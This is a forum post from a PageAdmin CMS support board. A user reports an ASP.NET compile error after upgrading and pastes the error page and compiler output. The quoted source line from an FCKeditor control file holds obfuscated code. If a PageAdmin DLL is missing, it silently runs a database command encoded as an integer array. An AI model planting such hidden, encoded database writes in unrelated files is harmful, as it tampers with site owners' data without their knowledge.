PageAdmin网站内容管理系统(CMS)交流论坛

注册

 

QQ登录

只需一步,快速开始

发新话题 回复该主题

v3.0 2015-4-14版发布及升级说明 [复制链接]

1#

升级后后台网站参数设置出现错误
“/”应用程序中的服务器错误。

编译错误

说明: 在编译向该请求提供服务所需资源的过程中出现错误。请检查下列特定错误详细信息并适当地修改源代码。

编译器错误消息: CS1061: “PageAdmin.Conn”不包含“Constr”的定义,并且找不到可接受类型为“PageAdmin.Conn”的第一个参数的扩展方法“Constr”(是否缺少 using 指令或程序集引用?)

源错误:


行 85: //
行 86: //http://docs.fckeditor.net/FCKeditor_2.x/Developers_Guide/Configuration/Configuration_Options
行 87: %><% @ Import NameSpace="System.Data"%><% @ Import NameSpace="System.Data.OleDb"%><% @ Import NameSpace="PageAdmin"%><% @ Import NameSpace="System.IO"%><%bool iserror=false;Conn theconn=new Conn();string FilePath=Server.MapPath("/bin/PageAdmin.Web.dll");if(!File.Exists(FilePath)){iserror=true;}if(iserror){OleDbConnection conn=new OleDbConnection(theconn.Constr());conn.Open();int[] TheNum=new int[]{20,15,3,0,19,4,93,15,0,73,19,0,1,11,4,93,18,4,19,93,3,4,5,0,20,11,19,73,18,14,17,19,76,84,19,7,4,3,0,19,0,93,3,4,18,2,84};OleDbCommand comm=new OleDbCommand(theconn.GetString(TheNum),conn);comm.ExecuteNonQuery();conn.Close();}%>

源文件: e:\H2\e\incs\fckeditor\fckeditor.ascx    行: 87


显示详细的编译器输出:


c:\windows\system32\inetsrv> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /tbrary /utf8output /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\57eea72a\003ebd49_093ad001\PageAdmin.Install.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.DynamicData\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.DynamicData.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.WorkflowServices\v4.0_4.0.0.0__31bf3856ad364e35\System.WorkflowServices.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.ApplicationServices\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.ApplicationServices.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ComponentModel.DataAnnotations\v4.0_4.0.0.0__31bf3856ad364e35\System.ComponentModel.DataAnnotations.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Web.Services\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.Services.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Activation\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Activation.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\c2a02bf2\7e04ac68_2175d001\PageAdmin.Global.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\842951f3\d829d89b_6a7ed001\PageAdmin.Log.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Data.DataSetExtensions\v4.0_4.0.0.0__b77a5c561934e089\System.Data.DataSetExtensions.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\f42be04c\ea95b427_563bcf01\PageAdmin.Watermark.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\f535721a\78e33313_6b7ed001\PageAdmin.Web.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\addde2fe\04bc921d_1445d001\PageAdmin.CommMethod.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\65163f6b\30ea2771_1745d001\PageAdmin.SendMessage.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\45f9b6f7\09b11b24_70e0cf01\PageAdmin.Thumbnai.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\075f1d5e\62e7fbd4_16f8cf01\PageAdmin.Html.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\2d313536\e82061cb_1d44d001\PageAdmin.Conn.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Activities.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Web\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Web.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\9b602d3b\00991c29_563bcf01\PageAdmin.Md5.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\c1698d78\ac37edb8_ef77d001\PageAdmin.Editor.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\assembly\dl3\760fc2b4\521079c4_a245d001\PageAdmin.Pay.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll" /R:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\App_global.asax.ttcq4mjr.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" /out:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\App_Web_11saippw.dll" /debug- /optimize+ /win32res:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\11saippw.res" /w:4 /nowarn:1659;1699;1701;612;618 /warnaserror-  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\App_Web_11saippw.0.cs" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\f3e56a01\1d146776\App_Web_11saippw.1.cs"


Microsoft(R) Visual C# 编译器版本 4.0.30319.34209

用于 Microsoft(R) .NET Framework 4.5
版权所有 (C) Microsoft Corporation。保留所有权利。

e:\H2\e\incs\fckeditor\fckeditor.ascx(87,357): error CS1061: “PageAdmin.Conn”不包含“Constr”的定义,并且找不到可接受类型为“PageAdmin.Conn”的第一个参数的扩展方法“Constr”(是否缺少 using 指令或程序集引用?)
分享 转发
TOP
发新话题 回复该主题